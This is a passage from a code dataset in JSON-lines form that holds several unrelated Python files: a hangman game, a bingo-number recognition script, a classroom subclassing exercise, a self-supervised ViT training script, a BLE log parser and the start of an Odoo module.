= False\n#total hangman lives are 6 so\nlives = 6\n\nprint(logo)\nrandom_word = random.choice(word_list)\n# Ask the user to guess a letter and assign their answer to a variable called guess. Make guess lowercase.\n\ndisplay = []\nword_length = len(random_word)\ni = 0\nwhile i < word_length:\n display.append(\"_\")\n i += 1\nprint(display)\n\nwhile not end_game:\n guess = input(\"Guess a letter: \").lower()\n clear()\n if guess in display:\n print(f\"You've already guessed {guess}.\")\n for position in range(word_length):\n letter = random_word[position]\n if guess == letter:\n display[position] = letter\n # Check if user is wrong.\n if guess not in random_word:\n print(f\"You guessed {guess}, that's not in the word. You lose a life.\")\n lives -= 1\n if lives == 0:\n end_game = True\n print(\"You lose.\")\n # Join all the elements in the list and turn it into a String.\n print(f\"{''.join(display)}\")\n # Check if user has got all letters.\n if \"_\" not in display:\n end_game = True\n print(\"You Win\")\n\n print(stages[lives])","repo_name":"grk2188/Hagman_consolBased","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11967439540","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport cv2\nimport time\nimport Recaptcha_Lib\nfrom datetime import datetime\nfrom keras.models import load_model\nfrom PIL import Image\nimport configparser\nimport random\nimport shutil\nimport os\nfrom DB_write import *\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n#因為要依照數字個別輸出\n#所以要把歷史開獎期數存起來\nbingoPeriods = []\n\n#現在的動畫類別與期數\nbingoNumber = Recaptcha_Lib.GetNextAni()\nprint(\"現在期數:{bingoNum}\".format(bingoNum=bingoNumber))\nDatabase = Database()\n\nimg_config = config[\"imageFolder\"]\n\n#取得圖片存檔資料夾\nimageOut = img_config[\"out\"]\n\ndef Record():\n\tglobal bingoNumber,Database,imageOut\n\tGetPeroids = False\n\t\n\tStart_time = time.time()\n\n\t# 輸出結果\n\tprint(Start_time)\n\t# 選擇第3隻攝影機\n\tcap = cv2.VideoCapture(2)\n\n\tfile_object = open('recognizeResult.txt', 'a')\n\t#預設等待時間\n\trecordTime = 60\n\ti = 0\n\twhile(True):\n\t\t# 從攝影機擷取一張影像\n\t\tret, frame = cap.read()\n\n\t\t# 顯示圖片\n\t\tcv2.imshow('frame', frame)\n\n\t\tcv2.waitKey(1)\n\t\ti += 1\n\t\t#每秒截一次圖\n\t\tif i > 15:\n\t\t\tif GetPeroids == False:\n\n\t\t\t\t#判斷最終要用什麼切圖邊界\n\t\t\t\timageType, recordTime = Recaptcha_Lib.fromBingoNumberGetImageType(bingoNumber)\n\t\t\t\tprint(\"第{peroids}期,現在要開獎的動畫為:{aniType},預計錄製{recordTime}秒\".format(\n\t\t\t\t\tperoids=bingoNumber, aniType=Ani[str(imageType)], recordTime=recordTime))\n\n\t\t\t\tbingoPeriods= []\n\t\t\t\tGetPeroids = True\n\n\t\t\timg = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n\t\t\t# img = Image.open(str(imageType) + '_{index}.jpg'.format(index = str(j)))\n\t\t\trecognizeResult, secondSplitImg = Recaptcha_Lib.combineResult(img=img,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t imageType=str(imageType))\n\t\t\t# 顯示圖片\n\t\t\tcv2.imshow('process done', secondSplitImg)\n\n\t\t\tcv2.waitKey(1)\n\t\t\t\n\t\t\tfilename = \"{bingoNumber}_{AniName}_{imageType}_{hour}_{min}_{sec}_{random}\".format(bingoNumber=bingoNumber,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tAniName=Ani[str(imageType)],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\timageType=imageType,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\thour=time.localtime().tm_hour,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmin=time.localtime().tm_min,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tsec=time.localtime().tm_sec,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\trandom = str(random.randint(1,10)))\n\t\t\ttry:\n\t\t\t\t#因為不支援中文檔名,所以用imencode代替\n\t\t\t\tcv2.imencode('.jpg', frame)[1].tofile(imageOut + filename+\".jpg\")\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\t#經過檢查後,可以被加入list的數字\n\t\t\t#控制每30個 frame 截圖一次的變數,不能動\n\t\t\ti = 0\n\t\t\tfor num in recognizeResult.split(\",\"):\n\t\t\t\tif num not in bingoPeriods:\n\t\t\t\t\t#如果辨識到的字元不是空值,且單一字元數量為2的話,才算是一個數字\n\t\t\t\t\tif num != \"\":\n\t\t\t\t\t\tbingoPeriods.append(num)\n\t\t\t#更新資料庫的辨識數據\n\t\t\tDatabase.updateDB(gameID=bingoNumber,gameNumbers=','.join(bingoPeriods))\n\t\t\tprint(str(bingoNumber) + \":\" +\n\t\t\t str(len(bingoPeriods))+\",\" + ','.join(bingoPeriods))\n\t\t\t#因為辨識的夠清楚了,可以不用做篩選\n\t\t\t# print(str(bingoNumber) + \":\" + recognizeResult)\n\n\t\t#現在時間與啟動錄影時間>recordTime秒就離開\n\t\tnow = time.time()\n\t\tif now - Start_time > recordTime:\n\t\t\tprint(\"已錄製{recordTime}秒\".format(recordTime=recordTime))\n\t\t\ttry:\n\t\t\t\t#寫Log紀錄檔 期數與開獎號碼(不重複)\n\t\t\t\tfile_object.write(\"{bingoPeriodsNumber},{imageName},{bingoPeriodsLength},{bingoNumber}\\n\".format(bingoPeriodsNumber=bingoNumber,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\timageName=Ani[str(imageType)],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbingoPeriodsLength=str(len(bingoPeriods)),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbingoNumber=','.join(bingoPeriods)))\n\t\t\t\t# file_object.write(str(bingoNumber) + \":\" + recognizeResult+\"\\n\")\n\t\t\t\tfile_object.close()\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\tbreak\n\t# 釋放攝影機\n\tcap.release()\n\t# 關閉所有 OpenCV 視窗\n\tcv2.destroyAllWindows()\n\n\nAni = {\"0\": \"格狀列表\",\n\t\t\t\"1\": \"打地鼠\",\n\t\t\t\"2\": \"動物農場\",\n\t\t\t\"3\": \"賽車\",\n\t\t\t\"4\": \"套圈圈\",\n\t\t\t\"5\": \"舞龍舞獅\", \n\t\t\t\"6\": \"彩球\",\n\t\t\t\"7\": \"魚\"}\n\n\n#控制只執行一次去讀取要開始錄影的時間\nsetStartTime = False\nwhile True:\n\t# 轉換為 struct_time 格式的本地時間\n\tresult = time.localtime(time.time())\n\n\t# 輸出結果\n\tprint(\"目前時間: {hour}:{min}:{sec}\" .format(hour = str(result[3]),\n\t\t\t\t\t\t\t\t\t\t\t\tmin = str(result[4]),\n\t\t\t\t\t\t\t\t\t\t\t\tsec = str(result[5])))\n\n\t\t\t\t\t\t\t\t\t\t\t\t#清空圖片資料夾\n\t#每八小時又一分鐘清空一次圖片資料夾\n\t#不然依照這個迴圈,他在8小時後的第九個小時內會一直清空資料夾\n\tif result[3] % 8 == 0 and result[4] == 1:\n\t\tshutil.rmtree(imageOut)\n\t\t#再重新新增圖片資料夾\n\t\tos.mkdir(imageOut)\n\ttime.sleep(0.5)\n\t#可以被5分鐘整除\n\tif result[4] % 5 == 0:\n\t\tif setStartTime == False:\n\t\t\tbingoNumber += 1\n\t\t\t#判斷最終要用什麼切圖邊界\n\t\t\timageType, recordTime = Recaptcha_Lib.fromBingoNumberGetImageType(bingoNumber)\n\n\t\t\t_config = config[str(imageType)]\n\t\t\t#讀取要開始錄影的時間\n\t\t\tstartTime = int(_config[\"starttime\"])\n\t\t\tsetStartTime = True\n\t\t#秒數為25\n\t\tif result[5] == startTime:\n\t\t\t#開始錄影\n\t\t\tRecord()\n\t\t\tsetStartTime = False\n","repo_name":"Hung-Jia-Jun/RecognizeBingoNumberFromTV","sub_path":"ReadCamera_Recognize.py","file_name":"ReadCamera_Recognize.py","file_ext":"py","file_size_in_byte":5192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25267859315","text":"# 7.23: Call list.append() from within the inheriting class.\n# From inside the IntList .append() method, call the append()\n# method on the object by calling it on the parent class.\n# (Don't call it on self or you will set up an endless loop.)\n\nclass IntList(list):\n def append(self, item):\n print(f'now appending {5}!')\n\nx = IntList()\n\nx.append(5) # now appending 5!\nx.append(3) # now appending 3!\n\nprint(x) # []\n\n","repo_name":"rafaelmvargas/advanced-python","sub_path":"session_07_working_files/inclass_exercises/inclass_7.23.py","file_name":"inclass_7.23.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20468156789","text":"#!/usr/bin/env python\n\nimport argparse\nimport builtins\nimport math\nimport os\nimport random\nimport shutil\nimport time\nimport warnings\nimport json\nimport logging\nfrom functools import partial\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.distributed as dist\nimport torch.optim\nimport torch.multiprocessing as mp\nimport torch.utils.data\nimport torch.utils.data.distributed\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\nimport torchvision.models as torchvision_models\nfrom torch.utils.tensorboard import SummaryWriter\n\nimport lib.builder\nfrom lib.logger import setup_logger\nfrom lib.augment import create_augmentation\nfrom lib.misc import NativeScalerWithGradNormCount as NativeScaler\nfrom lib.dataload_optim import PersistentDataLoader, SoftwarePipeline\nimport lib.misc as misc\n\nfrom timm.optim import optim_factory, create_optimizer\nimport vits\n\nmodel_names = ['vit_small', 'vit_base', 'vit_large'] \n\nparser = argparse.ArgumentParser(description='ExtreMA Arguments')\nparser.add_argument('data', metavar='DIR',\n help='path to dataset')\nparser.add_argument('-a', '--arch', metavar='ARCH', default='vit_base',\n choices=model_names,\n help='model architecture: ' +\n ' | '.join(model_names) +\n ' (default: vit_base)')\nparser.add_argument('-j', '--workers', default=8, type=int, metavar='N',\n help='number of data loading workers per gpu (default: 6)')\nparser.add_argument('--epochs', default=300, type=int, metavar='N',\n help='number of total epochs to run')\nparser.add_argument('--start-epoch', default=0, type=int, metavar='N',\n help='manual epoch number (useful on restarts)')\nparser.add_argument('-b', '--batch-size', default=2048, type=int,\n metavar='N',\n help='mini-batch size (default: 2048), this is the total '\n 'batch size of all GPUs on the current node when '\n 'using Data Parallel or Distributed Data Parallel')\nparser.add_argument('--lr', '--learning-rate', default=1.5e-4, type=float,\n metavar='LR', help='initial (base) learning rate', dest='lr')\nparser.add_argument('--min_lr', type=float, default=0., metavar='LR',\n help='lower lr bound for cyclic schedulers that hit 0 (1e-5)')\nparser.add_argument('--momentum', default=0.9, type=float, metavar='M',\n help='momentum')\nparser.add_argument('--wd', '--weight-decay', default=0.1, type=float,\n metavar='W', help='weight decay (default: 1e-6)',\n dest='weight_decay')\nparser.add_argument('--weight-decay-end', default=None, type=float,\n metavar='W', help='weight decay end (default: 1e-6)',\n dest='weight_decay_end')\nparser.add_argument('-p', '--print-freq', default=20, type=int,\n metavar='N', help='print frequency (default: 10)')\nparser.add_argument('--save-freq', default=5, type=int,\n metavar='N', help='save frequency (default: 5)')\nparser.add_argument('--resume', default='', type=str, metavar='PATH',\n help='path to latest checkpoint (default: none)')\nparser.add_argument('--world-size', default=-1, type=int,\n help='number of nodes for distributed training')\nparser.add_argument('--local_rank', default=-1, type=int,\n help='node rank for distributed training')\nparser.add_argument('--dist-url', default='tcp://224.66.41.62:23456', type=str,\n help='url used to set up distributed training')\nparser.add_argument('--dist-backend', default='nccl', type=str,\n help='distributed backend')\nparser.add_argument('--seed', default=None, type=int,\n help='seed for initializing training. ')\nparser.add_argument('--gpu', default=None, type=int,\n help='GPU id to use.')\nparser.add_argument('--device', default='cuda',\n help='device to use for training / testing')\nparser.add_argument('--dist_on_itp', action='store_true')\nparser.add_argument('--multiprocessing-distributed', action='store_true',\n help='Use multi-processing distributed training to launch '\n 'N processes per node, which has N GPUs. This is the '\n 'fastest way to use PyTorch for either single node or '\n 'multi node data parallel training')\nparser.add_argument('--log_dir', default=\"tf_logs\", type=str,\n help='dir of logs')\nparser.add_argument('--output_dir', default=\"results\", type=str,\n help='dir of checkpoints')\n\n# siamese specific configs:\nparser.add_argument('--proj-dim', default=256, type=int,\n help='feature dimension (default: 256)')\nparser.add_argument('--mlp-dim', default=4096, type=int,\n help='hidden dimension in MLPs (default: 4096)')\nparser.add_argument('--ema-momentum', default=0.996, type=float,\n help='momentum of updating momentum encoder (default: 0.996)')\nparser.add_argument('--contrast-temp', default=1.0, type=float,\n help='contrastive softmax temperature (default: 1.0)')\n\n# vit specific configs:\nparser.add_argument('--drop_path_rate', type=float, default=0.0, help=\"stochastic depth rate\")\nparser.add_argument('--attn_drop_rate', type=float, default=0.0, help=\"attention dropout rate\")\nparser.add_argument('--layer_scale_init_value', default=0.1, type=float, \n help=\"0.1 for base, 1e-5 for large. set 0 to disable layer scale\")\nparser.add_argument('--class_attention_layers', default=2, type=int)\n\n# other hyper-params\nparser.add_argument('--opt', default='adamw', type=str,\n choices=['lars', 'adamw'],\n help='optimizer used (default: adamw)')\nparser.add_argument('--clip_grad', type=float, default=None, metavar='NORM',\n help='Clip gradient norm (default: None, no clipping)')\nparser.add_argument('--opt-eps', default=1e-8, type=float, metavar='EPSILON',\n help='Optimizer Epsilon (default: 1e-8)')\nparser.add_argument('--opt-betas', default=(0.9, 0.999), type=float, nargs='+', metavar='BETA',\n help='Optimizer Betas (default: None, use opt default)')\nparser.add_argument('--adjust-weight-decay', action='store_true',\n help='cosine weight decay')\nparser.add_argument('--warmup-epochs', default=10, type=int, metavar='N',\n help='number of warmup epochs')\nparser.add_argument('--crop-min', default=0.2, type=float,\n help='minimum scale for random cropping student (default: 0.2)')\n\n# augmentation options\nparser.add_argument('--aug-spatial', action='store_true',\n help='use spatial data augmentation')\nparser.add_argument('--aug-centercrop', action='store_true',\n help='use centercrop data augmentation')\nparser.add_argument('--aug-spatialconsistent-color', action='store_true',\n help='use spatial consistent with colorjitter data augmentation')\nparser.add_argument('--loss', default='byol', type=str,\n choices=['infonce', 'byol'],\n help='loss function to use')\n\n# add mask options\nparser.add_argument('--mask-ratio', default=0.8, type=float,\n help='mask ratio for student augmentation')\nparser.add_argument('--num-masks', default=1, type=int)\nparser.add_argument('--disjoint', action='store_true',\n help='use disjoint sampling of patches')\nparser.set_defaults(disjoint=True)\n\n\ndef main_worker(args):\n misc.init_distributed_mode(args)\n global_rank = misc.get_rank()\n\n os.makedirs(args.log_dir, exist_ok=True)\n os.makedirs(args.output_dir, exist_ok=True)\n print(\"args.output_dir\", args.output_dir)\n print(\"args.log_dir\", args.log_dir)\n\n if global_rank == 0 and args.log_dir is not None:\n with open(args.log_dir + '/config.json', \"w\") as config_file:\n json.dump(vars(args), config_file)\n os.makedirs(args.log_dir, exist_ok=True)\n summary_writer = SummaryWriter(log_dir=args.log_dir)\n else:\n summary_writer = None\n logger = setup_logger(output=args.log_dir, distributed_rank=global_rank, name=\"byol\")\n \n device = torch.device(args.device)\n\n if args.seed is not None:\n seed = args.seed + misc.get_rank()\n random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n np.random.seed(seed)\n\n cudnn.benchmark = True\n \n local_batch_size = int(args.batch_size / misc.get_world_size())\n augmentation = create_augmentation(args)\n logger.info(augmentation)\n\n # Data loading\n traindir = os.path.join(args.data, 'train')\n train_dataset = datasets.ImageFolder(\n traindir,\n transform=augmentation,\n )\n \n if True: #args.distributed:\n num_tasks = misc.get_world_size()\n train_sampler = torch.utils.data.distributed.DistributedSampler(\n train_dataset, num_replicas=num_tasks, rank=global_rank, shuffle=True\n )\n\n train_loader = SoftwarePipeline(PersistentDataLoader(\n train_dataset, batch_size=local_batch_size, shuffle=(train_sampler is None),\n num_workers=args.workers, pin_memory=True, sampler=train_sampler, drop_last=True))\n\n # create model\n logger.info(\"=> creating model '{}'\".format(args.arch))\n base_encoder = partial(vits.__dict__[args.arch], drop_path_rate=args.drop_path_rate, attn_drop_rate=args.attn_drop_rate, init_values=args.layer_scale_init_value, class_attention_layers=args.class_attention_layers)\n ema_encoder = partial(vits.__dict__[args.arch], init_values=args.layer_scale_init_value, class_attention_layers=args.class_attention_layers)\n model = lib.builder.ExtreMA(\n base_encoder, ema_encoder,\n args.proj_dim, args.mlp_dim, args.contrast_temp, args.mask_ratio, args.num_masks, args.disjoint)\n model.to(device)\n\n # infer learning rate before changing batch sizex\n args.lr = args.lr * args.batch_size / 256\n\n if True:\n model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.gpu])\n\n logger.info(model) \n\n param_groups = optim_factory.add_weight_decay(model.module, args.weight_decay, model.module.no_weight_decay())\n optimizer = torch.optim.AdamW(param_groups, lr=args.lr, betas=args.opt_betas)\n\n logger.info(optimizer) \n scaler = NativeScaler()\n\n # auto resume from a checkpoint\n args.resume = os.path.join(args.output_dir, 'current.pth.tar')\n if args.resume:\n if os.path.isfile(args.resume):\n logger.info(\"=> loading checkpoint '{}'\".format(args.resume))\n if args.gpu is None:\n checkpoint = torch.load(args.resume)\n else:\n # Map model to be loaded to specified single gpu.\n loc = 'cuda:{}'.format(args.gpu)\n checkpoint = torch.load(args.resume, map_location=loc)\n args.start_epoch = checkpoint['epoch']\n model.load_state_dict(checkpoint['state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n scaler.load_state_dict(checkpoint['scaler'])\n logger.info(\"=> loaded checkpoint '{}' (epoch {})\"\n .format(args.resume, checkpoint['epoch']))\n del checkpoint\n torch.cuda.empty_cache()\n else:\n logger.info(\"=> no checkpoint found at '{}'\".format(args.resume))\n\n\n for epoch in range(args.start_epoch, args.epochs):\n if args.distributed:\n train_sampler.set_epoch(epoch)\n\n # train for one epoch\n train(train_loader, model, optimizer, scaler, summary_writer, epoch, args)\n\n if not args.multiprocessing_distributed or (args.multiprocessing_distributed\n and misc.get_rank() == 0 and (epoch+1) % args.save_freq == 0): # only the first GPU saves checkpoint\n save_checkpoint({\n 'epoch': epoch + 1,\n 'arch': args.arch,\n 'state_dict': model.state_dict(),\n 'optimizer' : optimizer.state_dict(),\n 'scaler': scaler.state_dict(),\n }, is_best=False, filename='{}/checkpoint_{:04d}.pth.tar'.format(args.output_dir, epoch))\n shutil.copyfile('{}/checkpoint_{:04d}.pth.tar'.format(args.output_dir, epoch), '{}/current.pth.tar'.format(args.output_dir))\n\n if misc.get_rank() == 0:\n summary_writer.close()\n\ndef train(train_loader, model, optimizer, scaler, summary_writer, epoch, args):\n batch_time = AverageMeter('Time', ':6.3f')\n data_time = AverageMeter('Data', ':6.3f')\n learning_rates = AverageMeter('LR', ':.4e')\n loss_scales = AverageMeter('LossScale', ':.4e')\n weight_decays = AverageMeter('WeightDecay', ':.4e')\n grad_norms = AverageMeter('GradNorm', ':.4e')\n losses = AverageMeter('Loss', ':.4e')\n \n progress = ProgressMeter(\n len(train_loader),\n [batch_time, data_time, losses, grad_norms, loss_scales, weight_decays, learning_rates],\n prefix=\"Epoch: [{}]\".format(epoch))\n logger = logging.getLogger('byol')\n\n # switch to train mode\n model.train()\n\n end = time.time()\n iters_per_epoch = len(train_loader)\n ema_momentum = args.ema_momentum\n for i, (images, labels) in enumerate(train_loader):\n # measure data loading time\n data_time.update(time.time() - end)\n\n # adjust learning rate and momentum coefficient per iteration\n lr = adjust_learning_rate(optimizer, epoch + i / iters_per_epoch, args)\n ema_momentum = adjust_ema_momentum(epoch + i / iters_per_epoch, args)\n if args.adjust_weight_decay:\n wd = adjust_decay_rate(optimizer, epoch + i / iters_per_epoch, args)\n\n if args.gpu is not None:\n if isinstance(images, list):\n images[0] = images[0].cuda(args.gpu, non_blocking=True)\n images[1] = images[1].cuda(args.gpu, non_blocking=True)\n bsz = images[0].size(0)\n else:\n images = images.cuda(args.gpu, non_blocking=True)\n bsz = images.size(0)\n\n # compute output\n with torch.cuda.amp.autocast(True):\n loss = model(images, ema_momentum, args.loss)\n losses.update(loss.item(), bsz)\n\n # compute gradient and do SGD step\n optimizer.zero_grad()\n\n norm = scaler(loss, optimizer, parameters=model.parameters(), clip_grad=args.clip_grad)\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if i % args.print_freq == 0:\n grad_norms.update(norm)\n loss_scales.update(scaler.state_dict()[\"scale\"])\n learning_rates.update(optimizer.param_groups[1]['lr'])\n weight_decays.update(optimizer.param_groups[1]['weight_decay'])\n progress.display(logger,i)\n\n if misc.get_rank() == 0:\n summary_writer.add_scalar(\"losses\", losses.avg, epoch )\n summary_writer.add_scalar(\"opt/grad_norm\", grad_norms.avg, epoch )\n summary_writer.add_scalar(\"opt/loss_scale\", loss_scales.avg, epoch )\n summary_writer.add_scalar(\"opt/lr\", learning_rates.avg, epoch )\n summary_writer.add_scalar(\"opt/wd\", weight_decays.avg, epoch )\n \n\ndef save_checkpoint(state, is_best, filename='checkpoint.pth.tar'):\n torch.save(state, filename)\n if is_best:\n shutil.copyfile(filename, 'model_best.pth.tar')\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n def __init__(self, name, fmt=':f'):\n self.name = name\n self.fmt = fmt\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n def __str__(self):\n fmtstr = '{name} {val' + self.fmt + '} ({avg' + self.fmt + '})'\n return fmtstr.format(**self.__dict__)\n\nclass ProgressMeter(object):\n def __init__(self, num_batches, meters, prefix=\"\"):\n self.batch_fmtstr = self._get_batch_fmtstr(num_batches)\n self.meters = meters\n self.prefix = prefix\n\n def display(self, logger, batch):\n entries = [self.prefix + self.batch_fmtstr.format(batch)]\n entries += [str(meter) for meter in self.meters]\n logger.info('\\t'.join(entries))\n\n def _get_batch_fmtstr(self, num_batches):\n num_digits = len(str(num_batches // 1))\n fmt = '{:' + str(num_digits) + 'd}'\n return '[' + fmt + '/' + fmt.format(num_batches) + ']'\n\ndef adjust_learning_rate(optimizer, epoch, args):\n \"\"\"Decays the learning rate with half-cycle cosine after warmup\"\"\"\n if epoch < args.warmup_epochs:\n lr = args.lr * epoch / args.warmup_epochs \n else:\n lr = args.min_lr + (args.lr - args.min_lr) * 0.5 * (1. + math.cos(math.pi * (epoch - args.warmup_epochs) / (args.epochs - args.warmup_epochs)))\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n return lr\n\ndef adjust_decay_rate(optimizer, epoch, args):\n \"\"\"Decays the learning rate with half-cycle cosine\"\"\"\n if args.weight_decay_end is None:\n args.weight_decay_end = args.weight_decay\n wd = args.weight_decay_end + 0.5 * (args.weight_decay - args.weight_decay_end) * (1. + math.cos(math.pi * (epoch / args.epochs)))\n for param_group in optimizer.param_groups:\n if param_group['weight_decay'] > 0:\n param_group['weight_decay'] = wd\n return wd\n\ndef adjust_ema_momentum(epoch, args):\n \"\"\"Decays the momentum paramter with half-cycle cosine\"\"\"\n m = 1. - 0.5 * (1. + math.cos(math.pi * epoch / args.epochs)) * (1. - args.ema_momentum)\n return m\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the accuracy over the k top predictions for the specified values of k\"\"\"\n with torch.no_grad():\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].contiguous().view(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\nif __name__ == '__main__':\n args = parser.parse_args()\n main_worker(args)\n","repo_name":"microsoft/ExtreMA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18761,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"31"} +{"seq_id":"4971916909","text":"#!python\r\nfrom datetime import datetime, date, time, timedelta\r\nimport re\r\nimport argparse\r\nfrom statistics import median, mean\r\n\r\ndef make_data(infile):\r\n time_sync, hex_array = parse_hex_array_from_file(infile)\r\n ref_time = get_reference_time(time_sync)\r\n bytes_in_chunk = 4\r\n aligned_array = []\r\n combined_dict = {}\r\n last_ts = 0\r\n temp_list = []\r\n for chunk in chunks(hex_array, bytes_in_chunk):\r\n aligned_array.append(chunk)\r\n for line in aligned_array:\r\n ts = int('0x' + line[0], 16)\r\n epoch = int('0x' + line[1], 16)\r\n sec = get_ts_in_sec(ts, epoch)\r\n rssi = int('0x' + line[2], 16)\r\n rssi = rssi - 256 if rssi > 127 else rssi # originally 8bit signed\r\n addr = int('0x' + line[3], 16)\r\n if (not sec in combined_dict.keys()):\r\n combined_dict[sec] = {}\r\n if addr in combined_dict[sec].keys():\r\n combined_dict[sec][addr].append(rssi)\r\n continue\r\n combined_dict[sec][addr] = [rssi]\r\n return ref_time, combined_dict\r\n\r\n\r\ndef get_reference_time(time_dict):\r\n sec = int(time_dict['sec'])\r\n usec = int((time_dict['sec'] - sec) * 1000000)\r\n telephone_time = time(time_dict['hour'], time_dict['min'], sec, usec)\r\n telephone_date = date.today()\r\n telephone_datetime = datetime.combine(telephone_date, telephone_time)\r\n '''32kHz RTC is used, this is unconverted tick count'''\r\n ts_sec = (time_dict['ts'] + time_dict['epoch'] * 0xFFFFFF) / 32768\r\n zero_point = telephone_datetime - timedelta(seconds=ts_sec)\r\n return zero_point\r\n\r\ndef get_ts_in_sec(ts, epoch = 0):\r\n '''\r\n convert 1-byte timestamp to microseconds\r\n - To fit into 1 byte, the 32768Hz clock value was divided\r\n by 0x10101\r\n\r\n '''\r\n sec = (ts + epoch * 0xFF ) * 0x10101 / 32768#+ epoch * 0xFF\r\n return sec\r\n\r\n\r\ndef chunks(l, n):\r\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\r\n for i in range(0, len(l), n):\r\n yield l[i:i+n]\r\n\r\ndef parse_hex_array_from_file(infile):\r\n time_sync = {}\r\n hex_array = []\r\n no_time_sync = True\r\n section_started = False\r\n with open(infile, \"rb\") as f:\r\n for row in f:\r\n if no_time_sync:\r\n match = re.search(b'(\\d+):(\\d+):(.*)\\t\"ts:(\\d+) epoch:(\\d+)', row)\r\n if match:\r\n time_sync['hour'] = int(match.group(1))\r\n time_sync['min'] = int(match.group(2))\r\n time_sync['sec'] = float(match.group(3))\r\n time_sync['ts'] = int(match.group(4))\r\n time_sync['epoch'] = int(match.group(5))\r\n no_time_sync = False\r\n if not section_started:\r\n match = re.search(b'\\*\\*\\*DATA TRANSFER\\*\\*\\*', row)\r\n if match:\r\n section_started = True\r\n else:\r\n match = re.search(b'2A-2A-45-4E-44-2A-2A', row) # **END**\r\n if match:\r\n section_started = False\r\n pass\r\n else:\r\n match = re.search(b'value: \\(0x\\) (.*)', row)\r\n if match:\r\n if match.group(1) == b\"FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF\":\r\n continue #not useful data, empty storage space is full of FF\r\n hex_array.extend(re.split('-', match.group(1).decode('utf-8')))\r\n else:\r\n pass\r\n return (time_sync, hex_array)\r\n\r\ndef write_data(ref_time, data_dict, outfile):\r\n with open(outfile, \"w\") as f:\r\n for sec in sorted(data_dict.keys()):\r\n for address in data_dict[sec]:\r\n avg_rssi = mean(data_dict[sec][address])\r\n median_rssi = median(data_dict[sec][address])\r\n count_rssi = len(data_dict[sec][address])\r\n time = ref_time + timedelta(seconds=sec)\r\n #f.write(\"%d:%d:%d.%d\\t%d\\t%.2f\\t%d\\n\" % (time.hour, time.minute, time.second, time.microsecond, address, avg_rssi, count_rssi))\r\n f.write(\"%s\\t%d\\t%.2f\\t%d\\t%d\\n\" % (time, address, avg_rssi, median_rssi, count_rssi))\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(description='Process ble-mon firmware log.')\r\n parser.add_argument('infile', type=str,\r\n help='input ble-mon file fetched from nrf51 logger to parse')\r\n parser.add_argument('outfile', type=str,\r\n help='output csv file to write')\r\n args = parser.parse_args()\r\n ref_time, d_data = make_data(args.infile)\r\n write_data(ref_time, d_data, args.outfile)\r\n pass\r\n","repo_name":"vihman/ble-mon","sub_path":"parse/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":4682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40681591677","text":"import logging\n\nfrom pytz import timezone\n\nfrom odoo import _, api, exceptions, fields, models\nfrom odoo.osv.expression import NEGATIVE_TERM_OPERATORS\nfrom odoo.tools.safe_eval import (\n datetime as safe_datetime,\n dateutil as safe_dateutil,\n safe_eval,\n test_python_expr,\n time as safe_time,\n)\n\n_logger = logging.getLogger(__name__)\n\n\nclass StockReleaseChannel(models.Model):\n _name = \"stock.release.channel\"\n _description = \"Stock Release Channels\"\n _order = \"sequence, id\"\n\n DEFAULT_PYTHON_CODE = (\n \"# Available variables:\\n\"\n \"# - env: Odoo Environment on which the action is triggered\\n\"\n \"# - records: pickings to filter\\n\"\n \"# - time, datetime, dateutil, timezone: useful Python 